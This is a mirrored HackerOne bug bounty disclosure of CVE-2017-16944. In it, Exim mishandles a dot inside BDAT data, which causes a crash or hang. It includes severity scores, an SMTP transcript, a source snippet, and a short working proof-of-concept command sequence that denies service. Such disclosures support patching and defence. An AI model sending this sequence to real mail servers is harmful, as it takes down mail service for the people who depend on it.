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hackeroneMehqqH1:296994
HistoryDec 11, 2017 - 3:59 p.m.

Internet Bug Bounty: Exim handles BDAT data incorrectly and leads to crash/hang

2017-12-1115:59:10
mehqq
hackerone.com
65

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.877 High

EPSS

Percentile

98.2%

Original article is here

Incorrect BDAT data handling leads to DoS

Vulnerability Analysis

When receiving data with BDAT command, SMTP server should not consider a single dot ‘.’ in a line to be the end of message. However, we found exim does in receive_msg when parsing header. Like the following output:

220 devco.re ESMTP Exim 4.90devstart_213-7c6ec81-XX Mon, 27 Nov 2017 16:58:20 +0800
EHLO test
250-devco.re Hello root at test
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250-AUTH PLAIN LOGIN CRAM-MD5
250-CHUNKING
250-STARTTLS
250-PRDR
250 HELP
MAIL FROM:<[email protected]>
250 OK
RCPT TO:<[email protected]>
250 Accepted
BDAT 10
.
250- 10 byte chunk, total 0
250 OK id=1eJFGW-000CB0-1R

As we mentioned before, exim uses function pointers to switch input source. This bug makes exim go into an incorrect state because the function pointer receive_getc is not reset. If the next command is also a BDAT, receive_getc and lwr_receive_getc become the same and an infinite loop occurs inside bdat_getc. Program crashes due to stack exhaustion.
smtp_in.c: 546 bdat_getc

  if (chunking_data_left > 0)
    return lwr_receive_getc(chunking_data_left--);

This is not enough to pose a threat because exim runs a fork server. After a further analysis, we made exim go into an infinite loop without crashing, using the following commands.

# CVE-2017-16944 PoC by meh at DEVCORE

EHLO localhost
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
BDAT 100
.
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
BDAT 0 LAST

This makes attackers able to launch a resource based DoS attack and then force the whole server down.

Impact

Make mail server process crash or hang. Attackers may launch a resource based DoS attack and then force the whole server down.

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.877 High

EPSS

Percentile

98.2%